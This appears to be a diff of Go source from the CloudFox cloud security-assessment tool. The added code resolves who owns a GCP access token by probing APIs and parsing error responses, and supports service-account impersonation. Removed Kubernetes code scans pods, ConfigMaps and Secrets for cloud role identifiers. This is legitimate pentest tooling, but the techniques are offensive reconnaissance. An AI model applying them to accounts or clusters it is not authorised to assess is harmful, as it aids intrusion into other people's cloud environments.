||||
uniqueID = info.AZP
|
||||
}
|
||||
|
||||
if info.Exp != "" {
|
||||
var expUnix int64
|
||||
if _, scanErr := fmt.Sscanf(info.Exp, "%d", &expUnix); scanErr == nil {
|
||||
expiry = time.Unix(expUnix, 0)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// queryUserInfoHTTP calls the Google userinfo endpoint as a fallback for
|
||||
// identity resolution. This works for tokens that have openid or email scopes.
|
||||
func queryUserInfoHTTP(ctx context.Context, accessToken string) (email, acctType string) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, "https://www.googleapis.com/oauth2/v3/userinfo", nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil || resp.StatusCode != http.StatusOK {
|
||||
return
|
||||
}
|
||||
|
||||
var info struct {
|
||||
Email string `json:"email"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &info); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Email != "" {
|
||||
email = info.Email
|
||||
if strings.Contains(info.Email, ".iam.gserviceaccount.com") {
|
||||
acctType = "serviceAccount"
|
||||
} else {
|
||||
acctType = "user"
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// probeGCPIdentity is a last-resort identity resolver that makes GCP API calls
|
||||
// and attempts to extract the caller email from error responses. Most identity
|
||||
// resolution is handled earlier by getSAByUniqueID (step 2) or
|
||||
// matchSAByUniqueID (in ProbeIdentityWithProject). This function exists as a
|
||||
// final fallback for edge cases where those approaches fail.
|
||||
func probeGCPIdentity(ctx context.Context, accessToken string) (email, acctType string) {
|
||||
// Try a lightweight GCP API call and parse the error for caller identity.
|
||||
// Use compute.regions.list which often includes the caller in 403 errors.
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet,
|
||||
"https://compute.googleapis.com/compute/v1/projects/_/regions?maxResults=1", nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if os.Getenv("CLOUDFOX_DEBUG") != "" {
|
||||
fmt.Fprintf(os.Stderr, "[debug] probeGCPIdentity compute response (status %d): %s\n", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
return extractCallerFromGCPResponse(body)
|
||||
}
|
||||
|
||||
// extractEmailFromGCPError extracts an email address from a GCP API error message.
|
||||
// GCP error messages often contain the caller identity in patterns like:
|
||||
// - "... Caller: [email protected] ..."
|
||||
// - "... caller does not have permission ... [email protected] ..."
|
||||
func extractEmailFromGCPError(msg string) string {
|
||||
// Look for email-like patterns in the error message
|
||||
// Simple approach: find strings matching [email protected] pattern
|
||||
parts := strings.Fields(msg)
|
||||
for _, part := range parts {
|
||||
// Clean common trailing punctuation
|
||||
part = strings.TrimRight(part, ".,;:\"'")
|
||||
if isLikelyEmail(part) {
|
||||
return part
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// isLikelyEmail checks if a string looks like an email address
|
||||
func isLikelyEmail(s string) bool {
|
||||
at := strings.Index(s, "@")
|
||||
if at < 1 || at >= len(s)-1 {
|
||||
return false
|
||||
}
|
||||
dot := strings.LastIndex(s[at:], ".")
|
||||
return dot > 1
|
||||
}
|
||||
|
||||
// ProbeIdentityWithProject attempts to resolve the session's email by making
|
||||
// project-scoped GCP API calls. This is used as a fallback when tokeninfo
|
||||
// endpoints return a numeric unique ID but no email (common with SA tokens
|
||||
// generated via generateAccessToken with only cloud-platform scope).
|
||||
//
|
||||
// Strategies (in order):
|
||||
// 1. List service accounts in the project and match by unique ID
|
||||
// 2. Cloud Resource Manager projects.get (extracts caller from error details)
|
||||
// 3. Cloud Resource Manager projects.testIamPermissions
|
||||
func ProbeIdentityWithProject(ctx context.Context, session *SafeSession, projectID string) {
|
||||
if session.GetEmail() != "" {
|
||||
return // already resolved
|
||||
}
|
||||
|
||||
token, err := session.GetToken(ctx)
|
||||
if err != nil || token == "" {
|
||||
return
|
||||
}
|
||||
|
||||
debug := os.Getenv("CLOUDFOX_DEBUG") != ""
|
||||
|
||||
// Strategy 1: List SAs in the project and match by unique ID.
|
||||
// The tokeninfo endpoint always returns the SA's numeric unique ID
|
||||
// (issued_to/azp), even when email is missing. Each SA in the project
|
||||
// has a uniqueId field. We match to find the email.
|
||||
session.mu.Lock()
|
||||
uniqueID := session.uniqueID
|
||||
session.mu.Unlock()
|
||||
|
||||
if uniqueID != "" {
|
||||
email, acctType := matchSAByUniqueID(ctx, token, projectID, uniqueID)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] matchSAByUniqueID: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
session.mu.Lock()
|
||||
session.email = email
|
||||
session.accountType = acctType
|
||||
session.mu.Unlock()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 2: projects.get - extracts caller from 403 error details
|
||||
email, acctType := probeWithCRM(ctx, token, projectID)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] probeWithCRM: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
session.mu.Lock()
|
||||
session.email = email
|
||||
session.accountType = acctType
|
||||
session.mu.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// Strategy 3: testIamPermissions - extracts caller from error details
|
||||
email, acctType = probeWithTestPermissions(ctx, token, projectID)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] probeWithTestPermissions: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
session.mu.Lock()
|
||||
session.email = email
|
||||
session.accountType = acctType
|
||||
session.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// matchSAByUniqueID lists service accounts in a project and matches by numeric
|
||||
// unique ID. The IAM API returns each SA's uniqueId field which corresponds to
|
||||
// the issued_to/azp value from the tokeninfo endpoint.
|
||||
func matchSAByUniqueID(ctx context.Context, accessToken, projectID, targetUniqueID string) (email, acctType string) {
|
||||
debug := os.Getenv("CLOUDFOX_DEBUG") != ""
|
||||
pageToken := ""
|
||||
|
||||
for {
|
||||
url := fmt.Sprintf("https://iam.googleapis.com/v1/projects/%s/serviceAccounts?pageSize=100", projectID)
|
||||
if pageToken != "" {
|
||||
url += "&pageToken=" + pageToken
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] matchSAByUniqueID page (status %d, project %s)\n", resp.StatusCode, projectID)
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] matchSAByUniqueID error: %s\n", string(body))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var listResp struct {
|
||||
Accounts []struct {
|
||||
Email string `json:"email"`
|
||||
UniqueID string `json:"uniqueId"`
|
||||
Name string `json:"name"`
|
||||
} `json:"accounts"`
|
||||
NextPageToken string `json:"nextPageToken"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &listResp); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, sa := range listResp.Accounts {
|
||||
if sa.UniqueID == targetUniqueID {
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] matchSAByUniqueID MATCH: uniqueID=%s -> email=%s\n", targetUniqueID, sa.Email)
|
||||
}
|
||||
return sa.Email, "serviceAccount"
|
||||
}
|
||||
}
|
||||
|
||||
if listResp.NextPageToken == "" {
|
||||
break
|
||||
}
|
||||
pageToken = listResp.NextPageToken
|
||||
}
|
||||
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] matchSAByUniqueID: no match for uniqueID=%s in project %s\n", targetUniqueID, projectID)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// probeWithCRM calls cloudresourcemanager projects.get and extracts caller email
|
||||
// from the response or error details.
|
||||
func probeWithCRM(ctx context.Context, accessToken, projectID string) (email, acctType string) {
|
||||
url := fmt.Sprintf("https://cloudresourcemanager.googleapis.com/v1/projects/%s", projectID)
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if os.Getenv("CLOUDFOX_DEBUG") != "" {
|
||||
fmt.Fprintf(os.Stderr, "[debug] probeWithCRM response (status %d): %s\n", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
return extractCallerFromGCPResponse(body)
|
||||
}
|
||||
|
||||
// probeWithTestPermissions calls testIamPermissions on the project. This endpoint
|
||||
// is commonly accessible and error responses include the caller identity.
|
||||
func probeWithTestPermissions(ctx context.Context, accessToken, projectID string) (email, acctType string) {
|
||||
url := fmt.Sprintf("https://cloudresourcemanager.googleapis.com/v1/projects/%s:testIamPermissions", projectID)
|
||||
payload := `{"permissions":["resourcemanager.projects.get"]}`
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, strings.NewReader(payload))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return extractCallerFromGCPResponse(body)
|
||||
}
|
||||
|
||||
// extractCallerFromGCPResponse extracts a caller email from a GCP API response body.
|
||||
// Works with both error responses (403/404) and success responses that may include
|
||||
// the caller in audit metadata or error details.
|
||||
func extractCallerFromGCPResponse(body []byte) (email, acctType string) {
|
||||
var apiResp struct {
|
||||
Error struct {
|
||||
Message string `json:"message"`
|
||||
Status string `json:"status"`
|
||||
Details []struct {
|
||||
Type string `json:"@type"`
|
||||
Reason string `json:"reason"`
|
||||
Domain string `json:"domain"`
|
||||
Metadata map[string]string `json:"metadata"`
|
||||
} `json:"details"`
|
||||
} `json:"error"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &apiResp); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Check error details metadata for caller identity
|
||||
for _, detail := range apiResp.Error.Details {
|
||||
if detail.Type == "type.googleapis.com/google.rpc.ErrorInfo" {
|
||||
// Check common metadata keys for caller identity
|
||||
for _, key := range []string{"caller", "email", "principal", "service_account"} {
|
||||
if val, ok := detail.Metadata[key]; ok && isLikelyEmail(val) {
|
||||
email = val
|
||||
break
|
||||
}
|
||||
}
|
||||
if email != "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: scan the error message for email-like strings
|
||||
if email == "" {
|
||||
email = extractEmailFromGCPError(apiResp.Error.Message)
|
||||
}
|
||||
|
||||
if email != "" {
|
||||
if strings.Contains(email, ".iam.gserviceaccount.com") {
|
||||
acctType = "serviceAccount"
|
||||
} else {
|
||||
acctType = "user"
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// NewSmartSession creates a session with automatic monitoring and refresh
|
||||
func NewSmartSession(ctx context.Context) (*SafeSession, error) {
|
||||
ss, err := NewSafeSession(ctx)
|
||||
@@ -141,7 +815,10 @@ func (s *SafeSession) getTokenUnlocked(ctx context.Context) (string, error) {
|
||||
return token.AccessToken, nil
|
||||
}
|
||||
|
||||
// GetTokenForScope returns a token for a specific OAuth scope
|
||||
// GetTokenForScope returns a token for a specific OAuth scope.
|
||||
// When using an impersonated session, this returns the impersonated token
|
||||
// (which already has cloud-platform scope) rather than creating a new ADC
|
||||
// token source that would bypass impersonation.
|
||||
func (s *SafeSession) GetTokenForScope(ctx context.Context, scope string) (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
@@ -151,13 +828,10 @@ func (s *SafeSession) GetTokenForScope(ctx context.Context, scope string) (strin
|
||||
return tok.AccessToken, nil
|
||||
}
|
||||
|
||||
// Get a new token source for this scope
|
||||
ts, err := google.DefaultTokenSource(ctx, scope)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create token source for scope %s: %w", scope, err)
|
||||
}
|
||||
|
||||
token, err := ts.Token()
|
||||
// Use the existing token source to preserve identity (ADC or impersonated).
|
||||
// The token source was created with CommonScopes which includes cloud-platform,
|
||||
// so the returned token is valid for all GCP APIs regardless of the requested scope.
|
||||
token, err := s.tokenSource.Token()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get token for scope %s: %w", scope, err)
|
||||
}
|
||||
@@ -225,33 +899,25 @@ func (s *SafeSession) IsSessionExpired() bool {
|
||||
return time.Now().Add(s.refreshBuffer).After(s.sessionExpiry)
|
||||
}
|
||||
|
||||
// RefreshSession refreshes the token and clears the cache
|
||||
// RefreshSession refreshes the token and clears the cache.
|
||||
// This uses the existing token source (which may be ADC or an impersonated
|
||||
// token source) so it preserves the current identity.
|
||||
func (s *SafeSession) RefreshSession(ctx context.Context) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
// Check if gcloud session is still valid
|
||||
if !IsSessionValid() {
|
||||
return fmt.Errorf("GCP session expired; please run 'gcloud auth login' or 'gcloud auth application-default login'")
|
||||
}
|
||||
|
||||
// Create new token source
|
||||
ts, err := google.DefaultTokenSource(ctx, CommonScopes...)
|
||||
// Get a fresh token from the existing token source. Both ADC and
|
||||
// impersonated token sources handle refresh internally, so we just
|
||||
// need to invalidate the cached token and request a new one.
|
||||
token, err := s.tokenSource.Token()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create token source: %w", err)
|
||||
}
|
||||
s.tokenSource = ts
|
||||
|
||||
// Get fresh token
|
||||
token, err := ts.Token()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get fresh token: %w", err)
|
||||
return fmt.Errorf("failed to refresh token: %w", err)
|
||||
}
|
||||
|
||||
s.currentToken = token
|
||||
s.sessionExpiry = token.Expiry
|
||||
|
||||
// Clear token cache
|
||||
// Clear per-scope token cache
|
||||
s.tokens = make(map[string]*oauth2.Token)
|
||||
s.tokens["https://www.googleapis.com/auth/cloud-platform"] = token
|
||||
|
||||
@@ -397,6 +1063,27 @@ func IsSessionValid() bool {
|
||||
return token != "" && !strings.Contains(token, "ERROR")
|
||||
}
|
||||
|
||||
// defaultSession holds the global session set by --impersonate-sa.
|
||||
// Services check this when their struct-level session is nil.
|
||||
var (
|
||||
defaultSessionMu sync.RWMutex
|
||||
defaultSession *SafeSession
|
||||
)
|
||||
|
||||
// SetDefaultSession sets the package-level default session (called from CLI init).
|
||||
func SetDefaultSession(s *SafeSession) {
|
||||
defaultSessionMu.Lock()
|
||||
defaultSession = s
|
||||
defaultSessionMu.Unlock()
|
||||
}
|
||||
|
||||
// GetDefaultSession returns the package-level default session, or nil.
|
||||
func GetDefaultSession() *SafeSession {
|
||||
defaultSessionMu.RLock()
|
||||
defer defaultSessionMu.RUnlock()
|
||||
return defaultSession
|
||||
}
|
||||
|
||||
// IsADCConfigured checks if Application Default Credentials are configured
|
||||
func IsADCConfigured() bool {
|
||||
ctx := context.Background()
|
||||
@@ -422,6 +1109,21 @@ func GetDefaultAccount() string {
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
// projectFromSAEmail extracts the project ID from a service account email.
|
||||
// e.g. "[email protected]" -> "my-project"
|
||||
func projectFromSAEmail(email string) string {
|
||||
// SA emails have the form: <name>@<project>.iam.gserviceaccount.com
|
||||
parts := strings.SplitN(email, "@", 2)
|
||||
if len(parts) != 2 {
|
||||
return ""
|
||||
}
|
||||
domain := parts[1]
|
||||
if !strings.HasSuffix(domain, ".iam.gserviceaccount.com") {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSuffix(domain, ".iam.gserviceaccount.com")
|
||||
}
|
||||
|
||||
// GetAccessToken returns a fresh access token from gcloud CLI
|
||||
// This is useful for REST API calls that need a bearer token
|
||||
func GetAccessToken() (string, error) {
|
||||
|
||||
@@ -1,162 +0,0 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// CloudRoleDetectionResult holds a unified detection
|
||||
type CloudRoleDetectionResult struct {
|
||||
Provider string
|
||||
Role string
|
||||
Source string // e.g., "pod env", "pod annotation", "serviceaccount annotation", "configmap", "secret"
|
||||
}
|
||||
|
||||
// DetectCloudRole inspects PodSpec + annotations + ServiceAccount for cloud roles.
|
||||
func DetectCloudRole(ctx context.Context, clientset *kubernetes.Clientset, namespace, serviceAccountName string, podSpec *corev1.PodSpec, annotations map[string]string) []CloudRoleDetectionResult {
|
||||
results := []CloudRoleDetectionResult{}
|
||||
|
||||
// --- 1. Pod annotations ---
|
||||
for k, v := range annotations {
|
||||
if provider, role, ok := ClassifyCloudRole(v); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("pod annotation %s", k),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// --- 2. ServiceAccount annotations ---
|
||||
if podSpec.ServiceAccountName != "" {
|
||||
sa, err := clientset.CoreV1().ServiceAccounts(namespace).Get(ctx, podSpec.ServiceAccountName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
for k, v := range sa.Annotations {
|
||||
if provider, role, ok := ClassifyCloudRole(v); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("serviceaccount %s annotation %s", podSpec.ServiceAccountName, k),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- 3. Environment variables (direct values) ---
|
||||
for _, c := range podSpec.Containers {
|
||||
for _, e := range c.Env {
|
||||
if e.Value != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(e.Value); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("pod env %s", e.Name),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- 4. Env sourced from ConfigMaps/Secrets ---
|
||||
for _, c := range podSpec.Containers {
|
||||
for _, e := range c.Env {
|
||||
if e.ValueFrom != nil && e.ValueFrom.ConfigMapKeyRef != nil {
|
||||
cmName := e.ValueFrom.ConfigMapKeyRef.Name
|
||||
key := e.ValueFrom.ConfigMapKeyRef.Key
|
||||
cm, err := clientset.CoreV1().ConfigMaps(namespace).Get(ctx, cmName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
if val := SafeGet(cm.Data, key); val != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(val); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("configmap %s/%s key %s", namespace, cmName, key),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if e.ValueFrom != nil && e.ValueFrom.SecretKeyRef != nil {
|
||||
secName := e.ValueFrom.SecretKeyRef.Name
|
||||
key := e.ValueFrom.SecretKeyRef.Key
|
||||
sec, err := clientset.CoreV1().Secrets(namespace).Get(ctx, secName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
if val := SafeGetString(sec.Data, key); val != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(val); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("secret %s/%s key %s", namespace, secName, key),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Deduplicate ---
|
||||
return DeduplicateDetections(results)
|
||||
}
|
||||
|
||||
// Deduplicate results by Provider+Role
|
||||
func DeduplicateDetections(in []CloudRoleDetectionResult) []CloudRoleDetectionResult {
|
||||
seen := map[string]bool{}
|
||||
out := []CloudRoleDetectionResult{}
|
||||
for _, r := range in {
|
||||
key := r.Provider + "|" + r.Role
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
out = append(out, r)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// SafeGetString fetches from Secret.Data safely
|
||||
func SafeGetString(m map[string][]byte, key string) string {
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
val, ok := m[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(val))
|
||||
}
|
||||
|
||||
// DetectCloudProviderFromNode detects the cloud provider from Node.Spec.ProviderID
|
||||
func DetectCloudProviderFromNode(providerID string) string {
|
||||
if providerID == "" {
|
||||
return ""
|
||||
}
|
||||
switch {
|
||||
case strings.HasPrefix(providerID, "aws://"):
|
||||
return "AWS"
|
||||
case strings.HasPrefix(providerID, "gce://"):
|
||||
return "GCP"
|
||||
case strings.HasPrefix(providerID, "azure://"):
|
||||
return "Azure"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// DetectCloudRoleFromNodeLabels returns a role (string) based on node labels (optional)
|
||||
func DetectCloudRoleFromNodeLabels(labels map[string]string) string {
|
||||
if labels == nil {
|
||||
return ""
|
||||
}
|
||||
// Example: AWS node IAM role label
|
||||
if role, ok := labels["iam.amazonaws.com/role"]; ok {
|
||||
return role
|
||||
}
|
||||
// Add other label-based detection if needed
|
||||
return ""
|
||||
}
|
||||
@@ -1,53 +0,0 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// --- Regex matchers for role formats ---
|
||||
|
||||
// AWS IAM role ARN
|
||||
var awsRoleRegex = regexp.MustCompile(`^arn:aws:iam::\d{12}:role\/[A-Za-z0-9+=,.@\-_/]+$`)
|
||||
|
||||
// GCP Service Account email
|
||||
var gcpSARegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+@[a-z0-9\-]+\.iam\.gserviceaccount\.com$`)
|
||||
|
||||
// Azure Managed Identity clientID or resourceID
|
||||
var azureMIRegex = regexp.MustCompile(`^[0-9a-fA-F\-]{36}$`)
|
||||
|
||||
// --- Helpers ---
|
||||
|
||||
func IsAWSRoleArn(s string) bool {
|
||||
return awsRoleRegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
func IsGCPServiceAccount(s string) bool {
|
||||
return gcpSARegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
func IsAzureManagedIdentity(s string) bool {
|
||||
return azureMIRegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
// Classify string into provider/role
|
||||
func ClassifyCloudRole(s string) (provider, role string, ok bool) {
|
||||
if IsAWSRoleArn(s) {
|
||||
return "AWS", s, true
|
||||
}
|
||||
if IsGCPServiceAccount(s) {
|
||||
return "GCP", s, true
|
||||
}
|
||||
if IsAzureManagedIdentity(s) {
|
||||
return "Azure", s, true
|
||||
}
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// SafeGet fetches a map key safely
|
||||
func SafeGet(m map[string]string, key string) string {
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
return m[key]
|
||||
}
|
||||
@@ -1,376 +0,0 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"context"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/tools/clientcmd"
|
||||
)
|
||||
|
||||
// randomSuffix generates a random 6-character alphanumeric string
|
||||
func randomSuffix() string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
seededRand := rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
b := make([]byte, 6)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// GetClusterName retrieves the cluster name using multiple detection methods.
|
||||
// Priority: kubeconfig context (user-configured, most authoritative) > node labels > API server URL > error parsing.
|
||||
func GetClusterName(clientset *kubernetes.Clientset) string {
|
||||
ctx := context.Background()
|
||||
|
||||
// Attempt 1: Parse kubeconfig context/cluster name (most authoritative — user-configured)
|
||||
if name := getClusterNameFromKubeconfig(); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 2: Check node labels for cluster name (cloud provider metadata)
|
||||
if name := getClusterNameFromNodes(ctx, clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 3: Extract from API server URL (cloud provider specific)
|
||||
if name := getClusterNameFromAPIServer(clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 4: Force an error and parse the cluster info from it
|
||||
if name := getClusterNameFromError(ctx, clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
return "unknown-cluster-" + randomSuffix()
|
||||
}
|
||||
|
||||
// getClusterNameFromNodes checks node labels for cluster name
|
||||
func getClusterNameFromNodes(ctx context.Context, clientset *kubernetes.Clientset) string {
|
||||
nodes, err := clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{Limit: 1})
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
for _, node := range nodes.Items {
|
||||
labels := node.GetLabels()
|
||||
|
||||
// Check known cloud provider labels first
|
||||
knownKeys := []string{
|
||||
"eks.amazonaws.com/cluster-name", // AWS EKS
|
||||
"kubernetes.azure.com/cluster", // Azure AKS
|
||||
"cloud.google.com/gke-nodepool", // GKE (nodepool contains cluster info)
|
||||
"cluster.x-k8s.io/cluster-name", // Cluster API
|
||||
"alpha.eksctl.io/cluster-name", // eksctl
|
||||
"kops.k8s.io/instancegroup", // kops
|
||||
}
|
||||
for _, key := range knownKeys {
|
||||
if val, ok := labels[key]; ok && val != "" {
|
||||
// For GKE nodepool, try to extract cluster name from node name
|
||||
if key == "cloud.google.com/gke-nodepool" {
|
||||
if gkeName := extractGKEClusterFromNodeName(node.Name); gkeName != "" {
|
||||
return gkeName
|
||||
}
|
||||
}
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
// Check provider ID for cloud-specific parsing
|
||||
if providerID := node.Spec.ProviderID; providerID != "" {
|
||||
if name := extractClusterFromProviderID(providerID); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: any label containing "cluster"
|
||||
for k, v := range labels {
|
||||
if strings.Contains(strings.ToLower(k), "cluster") && v != "" && !strings.Contains(v, "/") {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromKubeconfig extracts cluster name from kubeconfig context.
|
||||
// This is the most authoritative source — it's what the user configured.
|
||||
func getClusterNameFromKubeconfig() string {
|
||||
// Try to resolve kubeconfig path if not explicitly set
|
||||
kubeconfigPath := globals.KubeConfigPath
|
||||
if kubeconfigPath == "" {
|
||||
if env := os.Getenv("KUBECONFIG"); env != "" {
|
||||
kubeconfigPath = env
|
||||
} else if home, err := os.UserHomeDir(); err == nil {
|
||||
candidate := home + "/.kube/config"
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
kubeconfigPath = candidate
|
||||
}
|
||||
}
|
||||
}
|
||||
if kubeconfigPath == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
kubeconfig, err := clientcmd.LoadFromFile(kubeconfigPath)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Determine which context to use
|
||||
contextName := globals.KubeContext
|
||||
if contextName == "" {
|
||||
contextName = kubeconfig.CurrentContext
|
||||
}
|
||||
if contextName == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
ctx, ok := kubeconfig.Contexts[contextName]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Get cluster name from context
|
||||
clusterName := ctx.Cluster
|
||||
if clusterName == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
